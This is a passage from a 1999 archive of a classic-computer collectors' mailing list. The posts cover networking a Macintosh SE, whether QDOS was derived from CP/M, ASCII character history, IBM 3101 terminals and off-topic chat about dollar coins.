you're lucky you can find an internal Ethernet board for the system. If you can't find one of those you can still get SCSI-to-Ethernet devices, but they're likely to be expensive unless you get lucky and find a used one. With ethernet you can talk Ethertalk (Appletalk over ethernet), TCP/IP, or others (with the apporiate software). Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From eric at brouhaha.com Mon Jan 11 19:52:24 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list In-Reply-To: (healyzh@aracnet.com) References: Message-ID: <19990112015224.16064.qmail@brouhaha.com> > > 7) Furniture! And it makes a great coffee table! > > Number 7?!?!?!? Give me a break, there is no better coffee table than a > BA123, unless it's perhaps some of the IBM RS/6000's (and that's all > they're good for) The BA123 makes an absolutely terrible coffee table. Unless you have it resting on its side? It might make an OK end table though. From healyzh at aracnet.com Mon Jan 11 19:55:12 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list In-Reply-To: <199901120121.RAA13163@saul3.u.washington.edu> References: from "Doug Yowza" at Jan 11, 99 06:59:08 pm Message-ID: >Seriously, I haven't been keeping track of off-topicness, but it seemed >about the same as before (maybe it's gone up a little recently, but not >solidly since I started). I think you're exaggerating. I agree, the signal to noise ratio seems to remain about the same, with occasional peaks, and of course dips. I personally don't see any problems, especially when people start including 'OT:' at the beginning of the subject when it starts to drift a bit far off topic. I'd rather have friendly list that has some off topic messages, rather than a Totalitarian always on topic list. The only thing I really care about is that it's pure ASCII, without attachments! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From dpeschel at u.washington.edu Mon Jan 11 19:53:39 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:00 2005 Subject: list management (was Re: new to the list) In-Reply-To: from "Zane H. Healy" at Jan 11, 99 05:55:12 pm Message-ID: <199901120153.RAA13258@saul3.u.washington.edu> > The only thing I really care about is that it's pure ASCII, without > attachments! Yes, that's true. The other thing is that I wish people would change subjects more often. _Much_ more often, in fact. -- Derek From yowza at yowza.com Mon Jan 11 19:54:03 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: Message-ID: On Mon, 11 Jan 1999, Zane H. Healy wrote: > If you're just talking to other Mac's you can connect them with a Appletalk > network. Otherwise if you're lucky you can find an internal Ethernet board > for the system. If you can't find one of those you can still get > SCSI-to-Ethernet devices, but they're likely to be expensive unless you get > lucky and find a used one. I just picked up one from Dayna for $15, and another one for Powerbooks from Asante for another $15. I can look for more if somebody needs one. > With ethernet you can talk Ethertalk (Appletalk over ethernet), TCP/IP, or > others (with the apporiate software). I need to figure this out, too. I want to get a couple of Apples on the net at home, but I don't have a TCP/IP stack for them. Was this free from Apple? Is it part of a specific version of MacOS? In the interim, I was planning to make my Linux box talk AppleTalk over ethernet. -- Doug From wpe101 at banet.net Mon Jan 11 20:02:57 1999 From: wpe101 at banet.net (Will Emerson) Date: Sun Feb 27 18:40:00 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff References: <3.0.1.16.19990111100251.3adfdff2@intellistar.net> Message-ID: <369AAD50.9AF0056D@banet.net> I'd like the U.S. to do it in a similar manner to Canada... The S.B.A. was an idiotic move.. The "Loonies" and "Twoonies", being unique in size, weight, colour, and feel, make a lot more sense. Add to the fact, that a coin lasts a lot longer than a bill, would reduce costs that currently are paid by citizens. Besides, if you've got much more than ten one dollar notes in your wallet, wouldn't you trade them for a larger bill? I won't even start about my collection of ATM receipts that builds up... Will Joe wrote: > > At 06:56 PM 1/10/99 -0600, you wrote: > >At 12:53 PM 1/9/99 +1030, you wrote: > >>Are they polymer rather than paper like all ours are now? > > > >Still paper, but with a few more security features. > > > >>To save money, the govt withdrew all coins below 5c, we now have $1 & $2 > >>coins, > > > >The US could have hundreds of millions of dollars by doing that (at least > >$1 coins) but it has been demonstrated around the world that the only way > >to do that *successfully* is to pull the bills out of circulation > >immediately as the coins are released. > > The biggest reason that the US government was considering switching to a > dollar coin was the satisify the vending machine owners. They were losing > sales because many items sold for more than a dollar and people didn't > carry enough change to make the purchases. The owners claimed they couldn't > make a machine that would take bills but soon another company started > marketing a change machine and when they did it killed the demand for a > dollar coin. The public never liked the dollar coins and the banks seldom > gave them out unless you asked for them. > > > >Our "Susie B" dollar was a failed attempt -- becuase the bill was not > >pulled. > > FORCING the public to use it is not my idea of success! > > People claim silly things like it was too close in size to the > >quarter (BS - try it sometime) or it was too heavy. > > It is too heavy compared to a bill. Try putting ten or twenty of them in > your pocket and carry them around for a day! > > Joe From eric at brouhaha.com Mon Jan 11 20:11:50 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: MS-DOS FAT file system ripped off? (was Re: Stupid CP/M question) In-Reply-To: <199901091038.CAA22008@saul4.u.washington.edu> (dpeschel@u.washington.edu) References: <199901091038.CAA22008@saul4.u.washington.edu> Message-ID: <19990112021150.16191.qmail@brouhaha.com> "D. Peschel" wrote: > It may comfort you to know that MS ripped off the FAT system (like > practically everything else). From eric at brouhaha.com Mon Jan 11 20:21:27 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: MS-DOS vs. CP/M (was Re: Stupid CP/M question) In-Reply-To: <199901091730.AA04562@world.std.com> (allisonp@world.std.com) References: <199901091730.AA04562@world.std.com> Message-ID: <19990112022127.16238.qmail@brouhaha.com> Allison wrote: > Specifically it was seattle computer that needed a 16bit os > for their S100 8088 box. They literally took CPM1.4 disassembled > it and lofted it to run on 8088 and called the result Q-dos. No, they didn't, as anyone who's looked at disassemblies of both CP/M and 86-DOS (aka QDOS) will tell you. If they had done that it would have been more compatible with CP/M. Tim Patterson (sp?) wrote it from scratch to be similar to CP/M, but he deliberately did some things differently. In a few ways it is actually a fair bit better than CP/M, e.g., the fact that it actually stores a byte length for a file, and that it doesn't need multiple directory entries for large files. But in most regards it is just more of the same, which is all that Tim intended. Remember what the Q and D in QDOS stand for. Hint: the D does not stand for disk. From eric at brouhaha.com Mon Jan 11 20:22:44 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: RT - the rude, the bad, and the ugly In-Reply-To: <199901091819.MAA26180@wildride.netads.com> (meo@netads.com) References: <199901091819.MAA26180@wildride.netads.com> Message-ID: <19990112022244.16246.qmail@brouhaha.com> Miles O'Neal wrote: > [Which isn't that great, but fine for what it was intended for. > Just like an IBM 3101. Truly the Mack Truck of ASCII terminals.] Does it use ANSI escape sequences etc., or did IBM invent their own? From rcini at msn.com Mon Jan 11 19:52:46 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:00 2005 Subject: Mac HD20 INIT needed Message-ID: <00ff01be3dd3$ffcd7000$e0e5fea9@mainoffice> Hello, all: I recently got a Mac HD20 hard drive, which is the floppy-based hard drive for the 512k Mac. It requires the HD20 INIT file, which does the following: The Mac 128 and 512k will need [the HD20 INIT] extension to use the HD20. The Mac 512ke and Plus do not. Basically the 64k ROM, 400k drive Macs need the extension and 128k ROM, 800k drive Macs don't. The 128k ROM as well as the HD20 INIT give the required HFS instead of MFS of the 64k ROM. In fact your Mac512k can also use an external 800k disk drive with the HD20 INIT (and this works out well, 400k internal, HD20 hard drive, 800k external floppy). The early Macs can support up to 3 floppy devices (including the one inside)." Does anyone have this file? Thanks! [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From dpeschel at u.washington.edu Mon Jan 11 20:39:21 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:00 2005 Subject: MS-DOS FAT file system ripped off? (was Re: Stupid CP/M question) In-Reply-To: <19990112021150.16191.qmail@brouhaha.com> from "Eric Smith" at Jan 12, 99 02:11:50 am Message-ID: <199901120239.SAA14421@saul3.u.washington.edu> > > "D. Peschel" wrote: > > It may comfort you to know that MS ripped off the FAT system (like > > practically everything else). > > >From whom? (or what?) TOPS-6, I believe. (Yes, that's an ancestor of TOPS-10.) The structure was called the Storage Allocation Table and was pretty much the same idea. Somewhere I probably still have have an e-mail message I got from one of the TOPS developers, when I asked him about this topic. > > And the original didn't even work very well! > It worked fine, when you knew that there would never be media with a storage > capacity greater than about 1,025,024 bytes, i.e., the original 86-DOS with > 8-inch double-sided double-density diskettes. Except for the problem of corruption, lost chains, and all that garbage. (As I understand it, in some cases it's not possible to write a program to fix errors, because there just isn't enough redundant information!) The original TOPS-6 had the same problem. -- Derek From eric at brouhaha.com Mon Jan 11 20:42:46 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: Berkeley Enterprises 1956 Report In-Reply-To: (message from Doug Yowza on Mon, 11 Jan 1999 01:29:18 -0600 (CST)) References: Message-ID: <19990112024246.16306.qmail@brouhaha.com> Doug Yowza wrote: > I have the plans for Magdum, and it's about 30 pages of hand-drawn > schematics. Does anybody know of a way to convert a raster scan of this > kind of stuff to some sort of vectorized format (maybe EPS)? Adobe Streamline is a raster-to-vector program. I've got it, but I haven't ever tried it on schematics. From eric at brouhaha.com Mon Jan 11 20:45:21 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list In-Reply-To: <199901111136.GAA14686@pechter.ddns.org> (message from Bill Pechter on Mon, 11 Jan 1999 06:36:43 -0500 (EST)) References: <199901111136.GAA14686@pechter.ddns.org> Message-ID: <19990112024521.16326.qmail@brouhaha.com> Bill Pechter wrote: > With straight flat password files, two sysadmins can both make changes > at the same time and the last one to write the file is the person > who's changes take effect. Not too predictable on a large site. The BIG problem that inspired password file locking wasn't the two sysadmin problem, it was that any random user could run 'passwd' at any time to change their own password, and if the sysadmin was editing the file at the time... So password locking had to be built into 'passwd', and a way for the sysadmin to lock the file during editing also had to be provided. From eric at brouhaha.com Mon Jan 11 20:52:44 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) In-Reply-To: <802566F6.00640126.00@PTECHNOTES02.PowerTech.co.uk> (Philip.Belben@PowerTech.co.uk) References: <802566F6.00640126.00@PTECHNOTES02.PowerTech.co.uk> Message-ID: <19990112025244.16366.qmail@brouhaha.com> Philip.Belben@PowerTech.co.uk wrote about the ASCII code that was originally a leftward-pointing arrow, but was later redefined as underscore: > PET has a left arrow for that code as well. Sensible, since underscore is > available elswhere in the character set (shift-$ IIRC) but I never knew it > used to be standard ASCII. Um, no. ASCII doesn't define any shift-$ character. In fact, ASCII doesn't define any shift characters at all. It makes no association between characters and keystrokes. All it defines is the codes for the characters, and the functions of some of the control characters. Note that even in the case of control characters, it does NOT define them as being generated by a control key together with some other key. So, for instance, there is no proper ASCII character designated "Control-C". This style of usage is an artifact of bit-paired keyboards, as was discussed here last week. ASCII originally did not have an underscore character. Since the 1968 revision, it has an underscore but no leftward-pointing arrow. In any case, the Commodore PET did not use ASCII, although it used an extended character set that was derived from ASCII. So perhaps you are thinking of one of the Commodore line-drawing characters. From dogas at leading.net Mon Jan 11 20:45:21 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:00 2005 Subject: Berkeley Enterprises 1956 Report Message-ID: <01be3dd5$9921a540$e6c962cf@devlaptop> From: Eric Smith >Adobe Streamline is a raster-to-vector program. I've got it, but I haven't >ever tried it on schematics. I would disparage Streamline but I assume/hope its improved in the 4 or 5 yrs since last used it... The vectorizer ( Trace? ) from Corel was pretty good at that sort of stuff though. - Mike:dogas@leading.net From eric at brouhaha.com Mon Jan 11 20:57:59 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:00 2005 Subject: character codes and punched cards (was Re: y2k stuff) In-Reply-To: <199901112000.UAA14467@nixpbe.pdb.sni.de> (Hans.Franke@mch20.sbs.de) References: from "Sam Ismail" at Jan 4, 99 04:36:48 pm <199901112000.UAA14467@nixpbe.pdb.sni.de> Message-ID: <19990112025759.16393.qmail@brouhaha.com> "Hans Franke" wrote: > Nop - or better partly correct - it is true that not every punch > combination was legel (that would be 4096 possible) but at least > there was a legal combination for any possible 8-Bit combination. > Otherways I would have been impossible to boot from a punch card > reader ! Still wrong. Not all machines that had card readers could boot from cards, and even the ones that could do so didn't necessarily have a 256-character set (or 8-bit bytes). For instance, the IBM 1401, which typically was booted from cards, but had only 64 distinct characters. From van at wired.com Mon Jan 11 21:17:42 1999 From: van at wired.com (van) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: References: <199901120038.AA20920@world.std.com> Message-ID: It will be an Ethernet LAN... but I don't have the details. Yet. So I suppose I need to find a PDS Ethernet card for SE... (I believe it was specific to the SE...?) Any clue where I might find one of those? That's what I need, I believe. I think then I'd be all set, no? xoxo van >>Does anyone have experience networking a Mac SE? I really need some advice... > >If you're just talking to other Mac's you can connect them with a Appletalk >network. Otherwise if you're lucky you can find an internal Ethernet board >for the system. If you can't find one of those you can still get >SCSI-to-Ethernet devices, but they're likely to be expensive unless you get >lucky and find a used one. > >With ethernet you can talk Ethertalk (Appletalk over ethernet), TCP/IP, or >others (with the apporiate software). > > Zane +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ van burnham +++ van@wired.com +++ 71 +++++++ http://www.futuraworld.com +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ designer +++ http://www.hotwired.com ++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 415.276.8424 +++ wired digital +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++ 660 third street fourth floor san francisco ca 94107 From red at bears.org Mon Jan 11 21:25:14 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:00 2005 Subject: Mac HD20 INIT needed In-Reply-To: <00ff01be3dd3$ffcd7000$e0e5fea9@mainoffice> Message-ID: On Mon, 11 Jan 1999, Richard A. Cini, Jr. wrote: > The Mac 128 and 512k will need [the HD20 INIT] extension to use the HD20. > The Mac 512ke and Plus do not. Basically the 64k ROM, 400k drive Macs need > the > extension and 128k ROM, 800k drive Macs don't. The 128k ROM as well as the This is pretty much true, except I have never been able to verify that the INIT will run on a 128k mac, and from my own experiments am led to believe that it doesn't run at all on a 128k mac. > Does anyone have this file? Thanks! I do, but you can get the whole Macintosh System Software version 1.1 disk which includes this INIT off the web. It will be in Macintosh DiskCopy format, and you will need a Macintosh no newer than an un-modified (non FDHD) SE to write the 400k disk. If you still can't find what you need let me know and I'll see what I can do. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From jim at calico.litterbox.com Mon Jan 11 21:32:36 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: from "van" at Jan 11, 1999 07:17:42 PM Message-ID: <199901120332.UAA17449@calico.litterbox.com> Asante still lists ethernet cards for SEs as for sale. They do mention that the SE doesn't have an opening in the back facilitate installing the card (I think - dunno, it wasn't a problem on my SE30, which DOES have an opening) so you might want to get one of their atalk <-> ethernet devices instead. They're not much more expensive (about US$99 for the card, vs about US$130 for the atalk <-> ethernet adapter.) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From gram at cnct.com Mon Jan 11 21:47:27 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:00 2005 Subject: new to the list References: Message-ID: <369AC5CE.727A0B97@cnct.com> William Donzelli wrote: > > > I will happily take any RS/6K off the hands of > > anyone who doesn't want it. 8^) > > How about a PowerServer 930? They come with a dead UPS, 700 meg disk, and > up to 128 megs of RAM. Its heavy! > > Available in the New York area... > > William Donzelli > william@ans.net Bill: How big? How heavy? What power requirements? And especially what's the latest version of AIX available for it? (The dead UPS I'm not worried about -- I've never seen an AIX journaled filesystem damaged by a power failure even when I was trying to do so stress testing). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From nerdware at laidbak.com Mon Jan 11 22:58:11 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:00 2005 Subject: Macintosh SE In-Reply-To: References: Message-ID: <199901120455.WAA10131@garcon.laidbak.com> Date sent: Mon, 11 Jan 1999 19:17:42 -0800 Send reply to: classiccmp@u.washington.edu From: van To: "Discussion re-collecting of classic computers" Subject: Re: Macintosh SE > It will be an Ethernet LAN... but I don't have the details. Yet. So I > suppose I need to find a PDS Ethernet card for SE... (I believe it was > specific to the SE...?) Any clue where I might find one of those? That's > what I need, I believe. > > I think then I'd be all set, no? > > xoxo van > > > I believe Asante made a scsi <> ethernet adapter. IIRC, the SE has the DB-25 scsi port on the back. (I have an SE and an SE/30, but wouldn't ya know they're both downstairs along with my 128k, my Plus and my Classic) What I'm going to try is to PhoneNet/AppleTalk all my Macs together, and then run the NetWare client as well on my 7200 to give the ATalk network a gateway into the NetWare environment. Hopefully, everybody will get along. That way, I can also use my Duo and my Portable, which still works (although only on AC, since the battery's dead and I have other things to spend $90 on right now.) along with the old Macs. Kinda overkill for a private home, but what the heck. It doesn't have to be practical. "Just because I can" usually works for me. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From nerdware at laidbak.com Mon Jan 11 23:01:47 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:01 2005 Subject: MS-DOS vs. CP/M (was Re: Stupid CP/M question) In-Reply-To: <19990112022127.16238.qmail@brouhaha.com> References: <199901091730.AA04562@world.std.com> (allisonp@world.std.com) Message-ID: <199901120458.WAA10164@garcon.laidbak.com> Date sent: 12 Jan 1999 02:21:27 -0000 Send reply to: classiccmp@u.washington.edu From: Eric Smith To: "Discussion re-collecting of classic computers" Subject: MS-DOS vs. CP/M (was Re: Stupid CP/M question) <> > is all that Tim intended. Remember what the Q and D in QDOS stand for. > Hint: the D does not stand for disk. Yep. Quick 'n' Dirty OS. So there. Just one of those things you can toss out at a party that'll make your spouse get that "You're being a geek again" look.......... Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From gram at cnct.com Mon Jan 11 23:33:24 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:01 2005 Subject: Bulbs in parallel References: from "Doug Coward" at Jan 4, 99 01:18:45 pm <199901111909.TAA12892@nixpbe.pdb.sni.de> Message-ID: <369ADEA4.E6FBC455@cnct.com> Hans Franke wrote: > > > > Or, how about a one bit readable, writable memory circuit consisting of > > > one neon bulb, two resistors, and a capacitor? > > > - snip - > > > Or an entire digital computer out of ropes and pulleys? > > So, where is the gag ? Just don't forget, the Z1 was entirely > mechanical, to be powered by a crank (if necercary - of course > they prefered th electric motor :). There are those who might say that all of my computers are powered by a crank -- though all I often do is flick the switch, the electricity comes out of the wall. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From donm at cts.com Mon Jan 11 23:50:41 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:01 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: Message-ID: On Mon, 11 Jan 1999, John Rollins wrote: > >And if the ticket machine runs out of Suzy Bs, you wind > >up with a major load of quarters. > > Which is why that electronic money stuff seems to be an almost good idea... > Sure, there's lots of reasons not to like it... But why carry around a > bunch of heavy coins when you could just have a little chip, maybe just > underneath the skin in the hand or something? I would guess anything but an > implantable chip would be a bit of a security concern... Oh, I don't know. I think I'd prefer losing a card to losing a hand! - don > -------------------------------------------------------------- > | http://members.tripod.com/~jrollins/index.html - Computers | > | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | > | orham@qth.net list admin KD7BCY | > | ham-mac@qth.net Portland, OR | > -------------------------------------------------------------- > > > From healyzh at aracnet.com Tue Jan 12 00:03:13 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:01 2005 Subject: RT-11 Help In-Reply-To: <01be3dc2$c3bf5a80$e6c962cf@devlaptop> Message-ID: >I dont know RT-11 (yet.) and am looking forward to the experience. But >before that happens the seller wants to purge some sensitive employee files >on the system. Can someone tell me how to tell him to 1) move through the >directory structure, and 2) how to delete specific files ( some that span >partitions 0 - du4 according to him ), and... No idea on this I'm afriad. My RT-11 system is no where near this complex yet. >Where can I find a good source of RT-11 info? The RT-11 manuals, and good luck finding a set :^( On the other hand the following URL will have some basic info if you take the time to do some serious looking. It also has all kinds of other interesting info, DEC and other. http://www-ols.fnal.gov/ols/documents/docpn.html Of course this is all pretty specific to some government lab. Wish they had more of the documentation they list on line. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From donm at cts.com Tue Jan 12 00:13:15 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:01 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <369AAD50.9AF0056D@banet.net> Message-ID: On Mon, 11 Jan 1999, Will Emerson wrote: > I'd like the U.S. to do it in a similar manner to Canada... The S.B.A. > was > an idiotic move.. The "Loonies" and "Twoonies", being unique in size, > weight, colour, and feel, make a lot more sense. Add to the fact, that a > coin lasts a lot longer than a bill, would reduce costs that currently > are paid by citizens. Besides, if you've got much more than ten one > dollar > notes in your wallet, wouldn't you trade them for a larger bill? I won't > even start about my collection of ATM receipts that builds up... > Depends! I always like to accumulate a fist full of ones before going to the flea market. Makes you feel a bit silly when after dickering a guy down to $2 from $10 you hand him a $20 :) - don From jruschme at exit109.com Tue Jan 12 00:16:09 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:01 2005 Subject: _Way_ OT: dollar coins was Re: Y2K stuff In-Reply-To: <4.1.19990111170355.009d2100@mailhost.hq.freegate.com> from Chuck McManis at "Jan 11, 99 05:07:27 pm" Message-ID: <199901120616.BAA04993@crobin.home.org> > >Just what I want... a thief knocking me over the head and lopping off > >my hand. > > Why do people say this? I get this all the time when I talk about my Java > Ring (sorry it's not a classic YET). Thieves aren't going to "chop off your > extremities" to get to the 20 - 50 units of currency you've got bound to > your thumb print. Just like they don't dig out the eyeball of bank > manager's that have retinal scan bank vaults. Sheesh. I suspect that it's a product of a slightly warped mind combined with the viewing of one too many spy and/or sci-fi movies which involve this or similar plot points (Remember "Silence of the Lambs"?). But, then, we live in a world where people get killed for their sneakers. Ultimately, it is a function of whose hand, what it can access, and how badly someone wants it. Personally, I don't worry about someone stealing my Java Ring (if I had one) because, IIRC, it would still work seperate from my person. Yes, a thief might break my finger wrestling it off, but I'm as likely just to turn it over if he gives me a chance. I'm not as likely to willingly surrender a subdermal implant. <<>> From meo at netads.com Tue Jan 12 00:36:50 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:01 2005 Subject: Old ASCII (was: Re: Stupid CP/M question) In-Reply-To: <802566F6.00640126.00@PTECHNOTES02.PowerTech.co.uk> from "Philip.Belben@PowerTech.co.uk" at Jan 11, 99 06:15:10 pm Message-ID: <199901120636.AAA04890@wildride.netads.com> Philip.Belben@PowerTech.co.uk said... | |PET has a left arrow for that code as well. Sensible, since underscore is |available elswhere in the character set (shift-$ IIRC) but I never knew it |used to be standard ASCII. What other changes have there been? Is there |any precedent for PET using up-arrow instead of circumflex? Sems like that was standard on teletypes... From gram at cnct.com Tue Jan 12 00:59:30 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:01 2005 Subject: 5.25" disks References: <4.1.19990106140237.00a204d0@mailhost.hq.freegate.com> <19990112012146.15910.qmail@brouhaha.com> Message-ID: <369AF2D2.82944327@cnct.com> Eric Smith wrote: > > Chuck McManis wrote: > > I picked up an auction lot today and it contained, among other things, some > > 5.25" disks that are hand labelled as "1.2MB Test Media". I'm wondering if > > they are calibration disks for 5.25" drives. Realizing they are probably so > > RARE that to L@@K at them should cost $20 :-) > > Almost certainly they are exactly what they say, which is test media, i.e., > the media vendor made them for test purposes before they went into volume > production. If they were calibration disks they would be labelled as > such. > > I've got some Twiggy test diskettes made by 3M. I hadn't thought of trying > to sell them on eBay; if production Twiggy diskettes can fetch $22, I wonder > what test diskettes will fetch? Considering the number of diskettes I've hand labelled "Test Media" over the last 20 years, although I've usually specified particular systems/drives rather than just capacity. What's a tech support guy's TRS-80 model one test diskette likely to pull in? Or his 8"SS Model 2 test diskette? I'd like to know, I've got disks and a felt tip. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From meo at netads.com Tue Jan 12 01:12:32 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:01 2005 Subject: The IBM 3101 NATO round? Message-ID: <199901120712.BAA05062@wildride.netads.com> Geoff Roberts said... | |>Crappy Soviet 7.62x39 military ammo. | |That too. :^) But a 7.62 NATO is a little shorter than the 7.62 Russian. The 7.62 NATO is 7.62x51, the same as a .308 Winchester. The 7.62 Russian rifle cartridge is slightly longer than this (either 53 or 54 mm), but that's completely different than the 7.62x38, which was developed for carbines. |Got to Indonesia. We sold them the contents of the factory that made |our 7.62mm NATO/.308 SLR's |(Self Loading Rifles - Basically an FN rifle with a few refinements) You |could probably buy one dirt cheap. By the time I factor in the trip, that would be equivalent to going to Alaska to bu a Sinclair ZX80. |>But, like an IBM 3101 terminal, you can toss an SKS or AK off a roof, |>run over it with a truck, drag it through the mud, and it will *still* |>let you log on and do its job. Um, I mean, shoot as well as it ever |did. | |This is not exactly inspiring. An AK is probably the most inaccurate |assault rifle ever built. |(As I'm sure you know already);^) At 100m, it's just fine. Which is what it wa sbuilt for - short range (I admit, the idea of running the sites on my SKS up to the 500m setting is hysterical - I would want something like a battleship for a backstop! But the IBM 3101 was a beast, too. Slow. Clunkiest keyboard I think I have ever used. As big as a Cromemco with a Televideo 950. But built like a tank. |No experience with IBM 3101's, so I'll take your word for it. B^) It was IBM's irst (AFAIK) attempt to enter the world of ASCII and RS-232. It was, I suppose, successful. It was the right thing to put on a MODCOMP, which was what we had them on - because they would probably both survive WWW III. |It would have to be truly awful to beat an ADM3 though. I have one of |those. Want to get rid of it to make space for something else? 8^) -Miles From meo at netads.com Tue Jan 12 01:21:47 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:01 2005 Subject: RT - the rude, the bad, and the ugly In-Reply-To: <19990112022244.16246.qmail@brouhaha.com> from "Eric Smith" at Jan 12, 99 02:22:44 am Message-ID: <199901120721.BAA05161@wildride.netads.com> Eric Smith said... | |> Just like an IBM 3101. Truly the Mack Truck of ASCII terminals.] | |Does it use ANSI escape sequences etc., or did IBM invent their own? I don't recall. They may have used ANSI, because it really was RS-232 and ASCII. If the DEC and Beehive terminals used ANSI, then yes, it did. (Wander through /etc/termcap on a UNIX system.) -Miles From meo at netads.com Tue Jan 12 01:27:22 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:01 2005 Subject: MS-DOS vs. CP/M (was Re: Stupid CP/M question) In-Reply-To: <199901120458.WAA10164@garcon.laidbak.com> from "Paul Braun" at Jan 11, 99 11:01:47 pm Message-ID: <199901120727.BAA05220@wildride.netads.com> Paul Braun said... | |Yep. Quick 'n' Dirty OS. Which is why I have always found it so ironic that IBM ended up with it, and then it took over the world. I bet when H. D. Mills heard about it, he though he had died and gone to hell... From geoffrob at stmarks.pp.catholic.edu.au Tue Jan 12 01:22:34 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:01 2005 Subject: Fw: What is a VAX 8350 fully loaded worth? Message-ID: <00d901be3dfc$53879540$c52c67cb@canopus.stmarks.pp.catholic.edu.au> This one is for all you British collectors. -----Original Message----- From: Jamie Stallwood Newsgroups: comp.sys.dec,comp.os.vms Date: Monday, 11 January 1999 9:54 Subject: Re: What is a VAX 8350 fully loaded worth? >There will be a pair of 8350's with CI and dual HSCs coming free in about 3 >months in Britain. If anyone can suggest a good home for it, or wants to convert >it into a large freezer or something, dop me a line at >jamie.stallwood@cwcom.co.uk and I will let you know when it will become free. Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From meo at netads.com Tue Jan 12 01:28:07 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:01 2005 Subject: Bulbs in parallel In-Reply-To: <369ADEA4.E6FBC455@cnct.com> from "Ward Donald Griffiths III" at Jan 12, 99 00:33:24 am Message-ID: <199901120728.BAA05228@wildride.netads.com> 